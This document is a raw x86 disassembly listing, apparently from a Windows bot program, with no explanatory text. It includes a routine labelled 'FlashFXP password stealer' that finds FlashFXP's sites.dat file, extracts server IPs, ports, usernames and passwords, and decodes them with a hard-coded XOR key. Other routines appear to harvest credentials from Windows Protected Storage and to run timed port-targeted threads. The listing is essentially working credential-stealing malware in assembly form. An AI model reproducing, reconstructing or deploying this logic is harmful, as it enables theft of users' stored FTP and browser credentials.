		push	eax
		movzx	eax, bx
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		inc	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_14], ebx
		push	0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_403B44
		add	esp, 0Ch
		push	eax
		call	sub_403996
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FAD8
		cmp	bx, word ptr [ebp+var_1C4+2]
		jbe	short loc_40FA78


loc_40FAD8:				; CODE XREF: sub_40F9C9+104j
		push	[ebp+var_1C0]
		call	esi	; Sleep
		push	[ebp+arg_0]
		call	sub_403A1B
		test	eax, eax
		pop	ecx
		jz	short loc_40FB43


loc_40FAED:				; CODE XREF: sub_40F9C9+178j
		mov	eax, [ebp+var_2C8]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40FB43
		push	[ebp+arg_0]
		call	sub_403AB5
		test	eax, eax
		pop	ecx
		jz	short loc_40FB43
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40357F
		pop	ecx
		mov	bl, [ebp+var_20]
		pop	ecx
		lea	eax, [ebp+var_10]
		inc	[ebp+var_8]
		and	[ebp+var_20], 0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	offset dword_418494
		push	eax
		call	sub_4096CB
		add	esp, 10h
		mov	[ebp+var_20], bl
		push	edi
		call	esi	; Sleep
		jmp	short loc_40FAED
; ---------------------------------------------------------------------------


loc_40FB43:				; CODE XREF: sub_40F9C9+122j
					; sub_40F9C9+12Ej ...
		push	[ebp+arg_0]
		call	sub_403AF7
		mov	ebx, [ebp+var_14]
		pop	ecx
		jmp	loc_40FA78
; ---------------------------------------------------------------------------


loc_40FB54:				; CODE XREF: sub_40F9C9+B9j
					; sub_40F9C9+C6j
		push	[ebp+var_8]
		call	sub_4114E2	; clock
		sub	eax, [ebp+var_4]
		push	ecx
		push	ecx
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_2C4]
		fild	[ebp+var_4]
		fmul	flt_412280
		fstp	[esp+2E0h+var_2E0]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	offset unk_418458
		push	eax
		call	sub_4096CB
		push	[ebp+arg_0]
		call	sub_403B2F
		push	[ebp+var_2C8]
		call	sub_406E6F
		add	esp, 20h
		xor	eax, eax
		pop	edi
		pop	esi


loc_40FBA2:				; CODE XREF: sub_40F9C9+4Fj
		pop	ebx
		leave
		retn	4
sub_40F9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FBA7	proc near		; CODE XREF: sub_407A76+7BAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_40FD1D
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	loc_40FD1D
		cmp	[ebp+arg_C], 0
		jnz	short loc_40FBCC
		mov	[ebp+arg_C], eax


loc_40FBCC:				; CODE XREF: sub_40FBA7+20j
		push	eax
		call	sub_41151C	; atoi
		mov	edi, eax
		pop	ecx
		test	edi, edi
		mov	[ebp+arg_8], edi
		jz	loc_40FD1D
		mov	esi, 0FFFFh
		cmp	edi, esi
		ja	loc_40FD1D
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		jz	loc_40FD1D
		cmp	ebx, esi
		ja	loc_40FD1D
		push	2B3h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_40FD1D
		cmp	edi, ebx
		jbe	short loc_40FC2A
		mov	[ebp+var_4], edi
		mov	[ebp+arg_8], ebx


loc_40FC2A:				; CODE XREF: sub_40FBA7+7Bj
		cmp	[ebp+arg_10], 0
		mov	edi, 7D0h
		jz	short loc_40FC43
		push	[ebp+arg_10]
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+arg_C], eax
		jmp	short loc_40FC46
; ---------------------------------------------------------------------------


loc_40FC43:				; CODE XREF: sub_40FBA7+8Cj
		mov	[ebp+arg_C], edi


loc_40FC46:				; CODE XREF: sub_40FBA7+9Aj
		cmp	[ebp+arg_C], 0
		mov	ebx, 0EA60h
		jz	short loc_40FC56
		cmp	[ebp+arg_C], ebx
		jbe	short loc_40FC59


loc_40FC56:				; CODE XREF: sub_40FBA7+A8j
		mov	[ebp+arg_C], edi


loc_40FC59:				; CODE XREF: sub_40FBA7+ADj
		cmp	[ebp+arg_14], 0
		mov	edi, 100h
		jz	short loc_40FC72
		push	[ebp+arg_14]
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+arg_10], eax
		jmp	short loc_40FC75
; ---------------------------------------------------------------------------


loc_40FC72:				; CODE XREF: sub_40FBA7+BBj
		mov	[ebp+arg_10], edi


loc_40FC75:				; CODE XREF: sub_40FBA7+C9j
		cmp	[ebp+arg_10], 0
		jz	short loc_40FC84
		cmp	[ebp+arg_10], 200h
		jbe	short loc_40FC87


loc_40FC84:				; CODE XREF: sub_40FBA7+D2j
		mov	[ebp+arg_10], edi


loc_40FC87:				; CODE XREF: sub_40FBA7+DBj
		push	edi
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4114D6	; strncpy
		mov	ax, word ptr [ebp+arg_8]
		add	esp, 0Ch
		cmp	[ebp+arg_C], ebx
		mov	[esi+104h], ax
		mov	ax, word ptr [ebp+var_4]
		mov	[esi+106h], ax
		ja	short loc_40FCB5
		mov	ebx, [ebp+arg_C]


loc_40FCB5:				; CODE XREF: sub_40FBA7+109j
		mov	eax, 200h
		mov	[esi+108h], ebx
		cmp	[ebp+arg_10], eax
		ja	short loc_40FCC8
		mov	eax, [ebp+arg_10]


loc_40FCC8:				; CODE XREF: sub_40FBA7+11Cj
		mov	ebx, [ebp+arg_0]
		lea	edi, [esi+10Ch]
		push	1A3h
		push	ebx
		mov	[edi], eax
		lea	eax, [esi+110h]
		push	eax
		call	sub_4114D0	; memcpy
		movzx	eax, word ptr [esi+106h]
		add	esp, 0Ch
		push	dword ptr [edi]
		push	eax
		movzx	eax, word ptr [esi+104h]
		push	eax
		lea	eax, [esi+4]
		push	eax
		xor	eax, eax
		cmp	[ebx+18Bh], al
		push	offset dword_4184F0
		setz	al
		push	eax
		push	esi
		push	offset sub_40F9C9
		call	sub_406D58
		add	esp, 20h


loc_40FD1D:				; CODE XREF: sub_40FBA7+Bj
					; sub_40FBA7+16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FBA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD22	proc near		; CODE XREF: sub_40FEB8+234p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, offset dword_413B5C
		push	eax
		push	esi
		push	edi
		mov	ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		call	sub_411522	; sscanf
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FDA1
		inc	edi
		inc	edi


loc_40FD4A:				; CODE XREF: sub_40FD22+7Dj
		lea	eax, [ebp+arg_4]
		push	eax
		push	esi
		push	edi
		call	sub_411522	; sscanf
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FDA1
		movsx	ecx, byte ptr [ebx]
		mov	eax, [ebp+arg_4]
		xor	eax, ecx
		inc	ebx
		cmp	[ebp+var_4], eax
		mov	[ebp+arg_4], eax
		jl	short loc_40FD71
		dec	eax
		mov	[ebp+arg_4], eax


loc_40FD71:				; CODE XREF: sub_40FD22+49j
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ecx], al
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	edi
		call	sub_411522	; sscanf
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FDA1
		inc	edi
		inc	edi
		cmp	byte ptr [ebx],	0
		jnz	short loc_40FD9A
		mov	ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"


loc_40FD9A:				; CODE XREF: sub_40FD22+71j
		cmp	byte ptr [edi],	0
		jz	short loc_40FDA5
		jmp	short loc_40FD4A
; ---------------------------------------------------------------------------


loc_40FDA1:				; CODE XREF: sub_40FD22+24j
					; sub_40FD22+38j ...
		xor	eax, eax
		jmp	short loc_40FDAE
; ---------------------------------------------------------------------------


loc_40FDA5:				; CODE XREF: sub_40FD22+7Bj
		mov	eax, [ebp+arg_0]
		push	1
		and	byte ptr [eax],	0
		pop	eax


loc_40FDAE:				; CODE XREF: sub_40FD22+81j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FD22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDB3	proc near		; CODE XREF: sub_40FEB8+2Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_8]
		push	edi
		xor	edi, edi
		push	eax
		push	20019h
		push	edi
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		mov	[ebp+var_8], edi
		call	dword_412000	; RegOpenKeyExA
		mov	ebx, [ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	edi
		push	edi
		push	edi
		mov	esi, 104h
		push	[ebp+var_8]
		mov	[ebp+var_C], esi
		call	dword_41200C	; RegQueryValueExA
		push	[ebp+var_8]
		mov	[ebp+arg_0], eax
		call	dword_412028	; RegCloseKey
		cmp	[ebp+arg_0], edi
		jnz	short loc_40FE42
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	ebx
		call	sub_405A0D
		add	esp, 0Ch
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40FE42
		push	offset aSites_dat ; "sites.dat"
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+0Fh]
		add	eax, 9
		push	ecx
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 10h


loc_40FE3D:				; CODE XREF: sub_40FDB3+B8j
					; sub_40FDB3+F1j
		push	1
		pop	eax
		jmp	short loc_40FEB3
; ---------------------------------------------------------------------------


loc_40FE42:				; CODE XREF: sub_40FDB3+53j
					; sub_40FDB3+6Aj
		push	esi
		push	ebx
		push	offset aProgramfiles ; "ProgramFiles"
		call	dword_41210C	; GetEnvironmentVariableA
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	ebx
		call	sub_4114EE	; _mbscat
		mov	esi, offset aRb	; "rb"
		push	esi
		push	ebx
		call	sub_411506	; fopen
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40FE3D
		mov	eax, dword_4143A0
		mov	[ebp+var_4], eax


loc_40FE75:				; CODE XREF: sub_40FDB3+FCj
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4120D0	; GetDriveTypeA
		cmp	eax, 5
		jz	short loc_40FEA6
		cmp	eax, 2
		jz	short loc_40FEA6
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	ebx
		call	sub_4114DC	; sprintf
		push	esi
		push	ebx
		call	sub_411506	; fopen
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40FE3D


loc_40FEA6:				; CODE XREF: sub_40FDB3+CFj
					; sub_40FDB3+D4j
		inc	byte ptr [ebp+var_4]
		cmp	byte ptr [ebp+var_4], 5Ah
		jz	short loc_40FEB1
		jmp	short loc_40FE75
; ---------------------------------------------------------------------------


loc_40FEB1:				; CODE XREF: sub_40FDB3+FAj
		xor	eax, eax


loc_40FEB3:				; CODE XREF: sub_40FDB3+8Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FDB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FEB8	proc near		; DATA XREF: sub_4101AE+29o

var_5C4		= byte ptr -5C4h
var_444		= byte ptr -444h
var_3C4		= byte ptr -3C4h
var_344		= byte ptr -344h
var_2C4		= byte ptr -2C4h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_A8		= byte ptr -0A8h
var_9C		= byte ptr -9Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5C4h
		push	1A7h
		lea	eax, [ebp+var_244]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_5C4]
		push	eax
		call	sub_40FDB3
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40FF03
		push	[ebp+var_244]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	locret_4101AA
; ---------------------------------------------------------------------------


loc_40FF03:				; CODE XREF: sub_40FEB8+36j
		mov	eax, [ebp+var_244]
		push	ebx
		push	esi
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_240]
		push	offset unk_4186C0
		push	eax
		call	sub_4096CB
		mov	al, [ebp+var_A8]
		xor	ebx, ebx
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+var_5C4]
		push	offset aRb	; "rb"
		push	eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_A8], bl
		call	sub_411506	; fopen
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jz	loc_410199
		push	2
		push	ebx
		push	edi
		call	sub_411516	; fseek
		push	edi
		call	sub_4114F4	; ftell
		mov	esi, eax
		mov	eax, 100000h
		add	esp, 10h
		cmp	esi, eax
		jb	short loc_40FF73
		mov	esi, eax


loc_40FF73:				; CODE XREF: sub_40FEB8+B7j
		push	ebx
		push	ebx
		push	edi
		call	sub_411516	; fseek
		lea	eax, [esi+1]
		push	eax
		call	sub_4114C4	; malloc
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		push	edi
		jnz	short loc_40FF9A
		call	sub_411500	; fclose
		pop	ecx
		jmp	loc_410199
; ---------------------------------------------------------------------------


loc_40FF9A:				; CODE XREF: sub_40FEB8+D5j
		push	esi
		push	1
		push	eax
		call	sub_411510	; fread
		push	edi
		call	sub_411500	; fclose
		mov	eax, [ebp+var_10]
		add	esp, 14h
		mov	[eax+esi], bl
		mov	esi, eax


loc_40FFB4:				; CODE XREF: sub_40FEB8+29Dj
		push	offset asc_4186B8 ; "\r\n\r\n["
		push	esi
		call	sub_411528	; strstr
		push	offset aIp	; "\r\nIP="
		push	esi
		mov	edi, eax
		call	sub_411528	; strstr
		push	offset aPort	; "\r\nPort="
		push	esi
		mov	[ebp+var_14], eax
		call	sub_411528	; strstr
		push	offset aUser_0	; "\r\nUser="
		push	esi
		mov	[ebp+var_8], eax
		call	sub_411528	; strstr
		push	offset aPass_0	; "\r\nPass="
		push	esi
		mov	[ebp+var_C], eax
		call	sub_411528	; strstr
		add	esp, 28h
		cmp	[ebp+var_14], ebx
		mov	[ebp+var_1C], eax
		jz	loc_41014B
		cmp	edi, ebx
		jz	short loc_410012
		cmp	[ebp+var_14], edi
		jnb	loc_41014B


loc_410012:				; CODE XREF: sub_40FEB8+14Fj
		cmp	[ebp+var_8], ebx
		jz	loc_41014B
		cmp	edi, ebx
		jz	short loc_410028
		cmp	[ebp+var_8], edi
		jnb	loc_41014B


loc_410028:				; CODE XREF: sub_40FEB8+165j
		cmp	[ebp+var_C], ebx
		jz	loc_41014B
		cmp	edi, ebx
		jz	short loc_41003E
		cmp	[ebp+var_C], edi
		jnb	loc_41014B


loc_41003E:				; CODE XREF: sub_40FEB8+17Bj
		cmp	eax, ebx
		jz	loc_41014B
		cmp	edi, ebx
		jz	short loc_410052
		cmp	eax, edi
		jnb	loc_41014B


loc_410052:				; CODE XREF: sub_40FEB8+190j
		lea	eax, [ebp+var_444]


loc_410058:				; DATA XREF: kkrunchy:off_415978o
		mov	[ebp+var_9C], bl
		push	eax
		push	offset asc_41868C ; "[%[^]]]\r\n"
		push	esi
		mov	[ebp+var_344], bl
		mov	[ebp+var_3C4], bl
		mov	[ebp+var_2C4], bl
		mov	[ebp+var_444], bl
		call	sub_411522	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_14]
		call	sub_411522	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_8]
		call	sub_411522	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_344]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_C]
		call	sub_411522	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_9C]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_1C]
		call	sub_411522	; sscanf
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_40FD22
		add	esp, 14h
		test	eax, eax
		jz	short loc_41015A
		inc	[ebp+var_4]
		push	3E8h
		call	dword_4120A4	; Sleep
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_3C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_240]
		push	[ebp+var_4]
		push	offset dword_418620
		push	eax
		call	sub_4096CB
		mov	eax, [ebp+var_244]
		add	esp, 20h
		cmp	[eax+4], ebx
		jnz	short loc_41015A


loc_41014B:				; CODE XREF: sub_40FEB8+147j
					; sub_40FEB8+154j ...
		inc	[ebp+var_18]
		cmp	edi, ebx
		jz	short loc_41015A
		lea	esi, [edi+4]
		jmp	loc_40FFB4
; ---------------------------------------------------------------------------


loc_41015A:				; CODE XREF: sub_40FEB8+23Ej
					; sub_40FEB8+291j ...
		push	[ebp+var_10]
		call	sub_4114CA	; free
		mov	al, byte ptr [ebp+arg_0+3]
		pop	ecx
		push	3E8h
		mov	[ebp+var_A8], al
		call	dword_4120A4	; Sleep
		push	[ebp+var_18]
		mov	eax, [ebp+var_244]
		push	[ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_240]
		push	offset unk_4185E4
		push	eax
		call	sub_4096CB
		add	esp, 14h


loc_410199:				; CODE XREF: sub_40FEB8+96j
					; sub_40FEB8+DDj
		push	[ebp+var_244]
		call	sub_406E6F
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx

locret_4101AA:				; CODE XREF: sub_40FEB8+46j
		leave
		retn	4
sub_40FEB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4101AE	proc near		; CODE XREF: sub_407A76+4CAp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4101E4
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	esi
		push	offset sub_40FEB8
		call	sub_406D58
		add	esp, 10h


loc_4101E4:				; CODE XREF: sub_4101AE+10j
		pop	esi
		retn
sub_4101AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4101E6	proc near		; DATA XREF: sub_41094B+32o
		mov	eax, offset loc_411980
		call	sub_4117C8
		sub	esp, 0F98h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-290h]
		push	eax
		call	sub_4114D0	; memcpy
		push	dword ptr [ebp+8]
		call	sub_4114CA	; free
		add	esp, 10h
		xor	ebx, ebx
		lea	eax, [ebp-14h]
		push	ebx
		push	ebx
		push	ebx
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-14h], ebx
		call	dword_419220
		cmp	eax, ebx
		jge	short loc_410242
		push	dword ptr [ebp-290h]
		call	sub_406E6F
		pop	ecx
		jmp	loc_410927
; ---------------------------------------------------------------------------


loc_410242:				; CODE XREF: sub_4101E6+49j
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 1
		mov	[ebp-1Ch], ebx
		jnz	short loc_410258
		push	80004003h
		call	sub_4117F0


loc_410258:				; CODE XREF: sub_4101E6+66j
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	ebx
		mov	eax, [esi]
		push	ebx
		push	esi
		call	dword ptr [eax+38h]
		cmp	eax, ebx
		jge	short loc_410288
		push	offset dword_418950
		push	esi
		push	eax
		call	sub_4117FE
		push	dword ptr [ebp-290h]
		call	sub_406E6F
		pop	ecx
		jmp	loc_410917
; ---------------------------------------------------------------------------


loc_410288:				; CODE XREF: sub_4101E6+83j
		mov	eax, [ebp-290h]
		push	dword ptr [eax]
		lea	eax, [ebp-28Ch]
		push	offset unk_41891C
		push	eax
		call	sub_4096CB
		mov	al, [ebp-0F4h]
		add	esp, 0Ch
		mov	[ebp-10h], ebx
		mov	[ebp+0Bh], al
		mov	[ebp-0F4h], bl


loc_4102B6:				; CODE XREF: sub_4101E6+6E2j
					; sub_4101E6+6EEj
		cmp	[ebp-1Ch], ebx
		jnz	short loc_4102C5
		push	80004003h
		call	sub_4117F0


loc_4102C5:				; CODE XREF: sub_4101E6+D3j
		mov	eax, [ebp-1Ch]
		lea	edx, [ebp-40h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_4108D9
		mov	eax, [ebp-290h]
		cmp	[eax+4], ebx
		jnz	loc_4108D9
		sub	esp, 10h
		lea	esi, [ebp-40h]
		mov	edi, esp
		lea	eax, [ebp-84h]
		movsd
		movsd
		movsd
		push	offset asc_418918 ; "%x"
		push	eax
		movsd
		call	dword_4121EC	; wsprintfA
		add	esp, 18h
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 2
		mov	[ebp-24h], ebx
		jnz	short loc_410323
		push	80004003h
		call	sub_4117F0


loc_410323:				; CODE XREF: sub_4101E6+131j
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-24h]
		push	ecx
		lea	ecx, [ebp-40h]
		mov	eax, [esi]
		push	ebx
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+3Ch]
		cmp	eax, ebx
		jge	short loc_410346
		push	offset dword_418950
		push	esi
		push	eax
		call	sub_4117FE


loc_410346:				; CODE XREF: sub_4101E6+152j
					; sub_4101E6+6C8j ...
		cmp	[ebp-24h], ebx
		jnz	short loc_410355
		push	80004003h
		call	sub_4117F0


loc_410355:				; CODE XREF: sub_4101E6+163j
		mov	eax, [ebp-24h]
		lea	edx, [ebp-50h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_4108BF
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 3
		mov	[ebp-28h], ebx
		jnz	short loc_410383
		push	80004003h
		call	sub_4117F0


loc_410383:				; CODE XREF: sub_4101E6+191j
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-28h]
		push	ecx
		lea	ecx, [ebp-50h]
		mov	eax, [esi]
		push	ebx
		push	ecx
		lea	ecx, [ebp-40h]
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+54h]
		cmp	eax, ebx
		jge	short loc_4103AA
		push	offset dword_418950
		push	esi
		push	eax
		call	sub_4117FE


loc_4103AA:				; CODE XREF: sub_4101E6+1B6j
					; sub_4101E6+6BAj
		cmp	[ebp-28h], ebx
		jnz	short loc_4103B9
		push	80004003h
		call	sub_4117F0


loc_4103B9:				; CODE XREF: sub_4101E6+1C7j
		mov	eax, [ebp-28h]
		lea	edx, [ebp-30h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_4108A5
		push	dword ptr [ebp-30h]
		mov	edi, dword_4121EC
		lea	eax, [ebp-7BCh]
		push	offset aWs	; "%ws"
		push	eax
		call	edi	; wsprintfA
		add	esp, 0Ch
		cmp	[ebp-14h], ebx
		mov	[ebp-20h], ebx
		mov	[ebp-18h], ebx
		jnz	short loc_410400
		push	80004003h
		call	sub_4117F0


loc_410400:				; CODE XREF: sub_4101E6+20Ej
		push	ebx
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-20h]
		push	ecx
		lea	ecx, [ebp-50h]
		push	dword ptr [ebp-30h]
		mov	eax, [esi]
		push	ecx
		lea	ecx, [ebp-40h]
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+44h]
		cmp	eax, ebx
		jge	short loc_41042F
		push	offset dword_418950
		push	esi
		push	eax
		call	sub_4117FE


loc_41042F:				; CODE XREF: sub_4101E6+23Bj
		push	dword ptr [ebp-18h]
		call	sub_4114BE	; strlen
		mov	esi, [ebp-20h]
		pop	ecx
		lea	ecx, [esi-1]
		cmp	eax, ecx
		jnb	short loc_410475
		xor	ecx, ecx
		xor	edx, edx
		cmp	esi, ebx
		jbe	short loc_41046C


loc_41044A:				; CODE XREF: sub_4101E6+284j
		mov	eax, [ebp-18h]
		mov	al, [edx+eax]
		cmp	al, bl
		jnz	short loc_41045E
		mov	byte ptr [ebp+ecx-5BCh], 2Ch
		jmp	short loc_410465
; ---------------------------------------------------------------------------


loc_41045E:				; CODE XREF: sub_4101E6+26Cj
		mov	[ebp+ecx-5BCh],	al


loc_410465:				; CODE XREF: sub_4101E6+276j
		inc	ecx
		inc	edx
		inc	edx
		cmp	edx, esi
		jb	short loc_41044A


loc_41046C:				; CODE XREF: sub_4101E6+262j
		mov	[ebp+ecx-5BDh],	bl
		jmp	short loc_410489
; ---------------------------------------------------------------------------


loc_410475:				; CODE XREF: sub_4101E6+25Aj
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-5BCh]
		push	offset dword_413B6C
		push	eax
		call	edi	; wsprintfA
		add	esp, 0Ch


loc_410489:				; CODE XREF: sub_4101E6+28Dj
		mov	esi, dword_412104
		mov	edi, offset byte_4191D0
		lea	eax, [ebp-0FA4h]
		push	edi
		push	eax
		call	esi	; lstrcpy
		lea	eax, [ebp-9BCh]
		push	edi
		push	eax
		call	esi	; lstrcpy
		mov	esi, dword_412110
		lea	eax, [ebp-84h]
		push	offset a220d5cc1 ; "220d5cc1"
		push	eax
		call	esi	; lstrcmp
		test	eax, eax
		jnz	short loc_4104F0
		inc	dword ptr [ebp-10h]
		cmp	[ebp-0F7h], bl
		jnz	short loc_4104F0
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_4188C8
		push	eax
		call	sub_4096CB
		add	esp, 14h


loc_4104F0:				; CODE XREF: sub_4101E6+2D8j
					; sub_4101E6+2E3j
		lea	eax, [ebp-84h]
		push	offset a5e7e8100 ; "5e7e8100"
		push	eax
		call	esi	; lstrcmp
		test	eax, eax
		jnz	loc_410597
		mov	edi, dword_412104
		lea	eax, [ebp-358h]
		push	offset byte_4191D0
		push	eax
		call	edi	; lstrcpy
		mov	esi, offset asc_413528 ; ":"
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41055D
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_41055D:				; CODE XREF: sub_4101E6+34Aj
		inc	dword ptr [ebp-10h]
		push	3E8h
		call	dword_4120A4	; Sleep
		lea	eax, [ebp-358h]
		push	eax
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_418864
		push	eax
		call	sub_4096CB
		add	esp, 18h


loc_410597:				; CODE XREF: sub_4101E6+31Aj
		lea	eax, [ebp-84h]
		push	offset aB9819c52 ; "b9819c52"
		push	eax
		call	dword_412110	; lstrcmp
		test	eax, eax
		jnz	loc_410705
		mov	eax, [ebp-18h]
		xor	edi, edi
		xor	esi, esi
		cmp	[ebp-20h], ebx
		jbe	short loc_410600


loc_4105BD:				; CODE XREF: sub_4101E6+418j
		mov	cl, [esi+eax]
		cmp	cl, bl
		jnz	short loc_4105CE
